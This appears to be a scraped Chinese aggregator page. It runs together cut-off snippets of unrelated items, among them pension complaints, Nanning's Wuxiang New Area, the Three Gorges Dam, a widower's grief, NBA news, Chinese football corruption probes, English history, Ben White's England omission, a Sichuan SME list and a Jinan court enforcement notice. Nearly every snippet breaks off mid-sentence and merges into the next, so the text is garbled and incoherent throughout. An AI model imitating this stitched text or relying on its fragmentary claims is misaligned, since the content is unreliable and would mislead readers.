竟粉丝听话的很。毕竟人设都设计好了打PK,卖货摆错价格,怒亏2个亿回馈粉丝。没事就怼工厂,怼员工反正就是赔钱回馈粉丝。赔完还得补交税马上就要退休了,退休工资才3650元太少了,怎么办?3600不少了。我企业工龄32年,退休时退休金只有2200,涨了这么多年还不到3000。知足常乐吧!如果身体不好,这些钱也够生活了,如果身体还可以,就找一些力所能及的工作,打打工补南宁五象新区未来的发展潜力很大吗?五象新区无法成为国家级新区!!!目前看来,五象新区的潜力也就这样了。我们对比一下贵阳的贵安新区,贵安新区的面积是1700平方公里,由贵阳市的郊区和安顺市合并得来。是全国第8个国家级如果把三峡大坝加高10米,截留更多的洪水,可行吗?我国的三峡大坝,作为当今世界上最大的水利枢纽工程,位于湖北省宜昌市上游,距下游葛洲坝水电站38公里,三峡大坝全长2309米高185米,呈梯形形状,集发电旅游航运调控洪水于一身。三峡大家有经历过亲人去世吗?是怎样走出痛苦和想念的?2018年9月1日下午3点8分,我的妻子在医院里停止了呼吸。她的眼睛没有闭上,我流着泪,帮她合上了双眼。我永远失去了我最亲近的爱人,孩子永远的失去了妈妈。一位好妻子,好女儿,好姑妈
丁威迪谈奇才湖人来的球员都想离开詹姆斯后证明自己篮网后卫斯宾塞丁威迪谈到效力奇才的时间。八村塁刚回来,很挣扎。丹尼阿夫迪亚,他们觉得他是第二个卢卡(东契奇),布拉德利比尔是顶薪球员。还有从湖人来的球员,他们想确立自己独立于勒布朗足坛继续狂飙!又有两条大鱼落网,深挖下去,获利俱乐部恐涉案中国足坛反腐反赌进行的如火如荼,从目前的力度来看,这次有关部门下定决心势必要将蛀虫斩草除根。今天中国足坛又有两条大鱼双双被查,分别是中国足协竞赛部部长黄松接受审查调查,中国足协纪律就在今天,字母哥填写了雄鹿长达55年的历史空白,成为队史第一人就在今天,字母哥填写了雄鹿长达55年的历史空白,成为队史第一人!毫无疑问,希腊怪兽扬尼斯阿德托昆博将会成为密尔沃基雄鹿队史第一人!在2021年带队夺得队史第二个NBA总冠军的那刻起18世纪英国出版业贸易转型的背景是什么?历史开讲文清幽说编辑辑录君18世纪时,英国社会迎来社会变革的关键时期,出版业作为社会中重要的经济部门之一,在18世纪进行现代化转型。出版业从传统产业转变为现代产业的原因极为复杂。因16世纪,英国受到加来陷落的影响,开始了哪些政府机构的完善?历史开讲文木木编辑观星随着加来成为英格兰议会的附庸,加来因港口收入占英国总收入的三分之一而被称为英国皇冠上最璀璨的宝石,主要的贸易项目是锡铅布和羊毛。多年来,加来一直是英国议会的重前英格兰后卫本怀特落选英格兰队可能和世界杯时提前离队有关直播吧3月24日讯在接受每日镜报采访时,前英格兰后卫丹尼米尔斯谈到了本怀特落选英格兰队,他支持索斯盖特的决定。米尔斯说道本怀特是个有趣的人,但右后卫不是他本来的位置,我认为这和他不四川第二批创新型中小企业名单近日,四川省经济和信息化厅发布关于公布四川省第二批创新型中小企业名单的通知。按照工业和信息化部优质中小企业梯度培育管理暂行办法(工信部企业202263号)四川省优质中小企业梯度培育济南二建新增1条被执行人信息,执行标的3。7万元中国质量新闻网讯(李静)中国执行信息公开网披露,3月17日,济南二建集团工程有限公司被济南市中级人民法院列为被执行人,执行标的为37258元,案号为(2023)鲁01执548号。(服务企业专员聚焦工业稳增长,推动镇域经济高质量发展走在前今年以来,昌乐县乔官镇牢固树立服务企业就是服务高质量发展的理念,坚持墙内事经理办,墙外事政府办,聚焦工业稳增长,及时解决企业的实际困难和存在问题,推动镇域经济高质量发展走在前开新局他家摆喜酒,全村没有一个人去吃席,阿尧一气在乡亲群说了硬话昨天晚上,我老家的乡亲群里突然退出了一个人,点开一看,原来是阿尧。老家的乡亲群建了好几年了,一开始其实只是几个后生小伙子为了玩游戏拉的人,后来不知道是谁提议,干脆把全村人都拉进来,贵州乌当打造军人退役一件事一次办示范新标杆为打造军人退役一件事一次办示范新标杆,贵州省贵阳市乌当区积极整合组织政务服务公安人社医保等部门职责职能,全力推进军人退役一件事一次办落地落实,让退役军人获得感成色更足。优化资源双厅
友情链接:快好找快生活快百科快传网中准网文好找聚热点快软网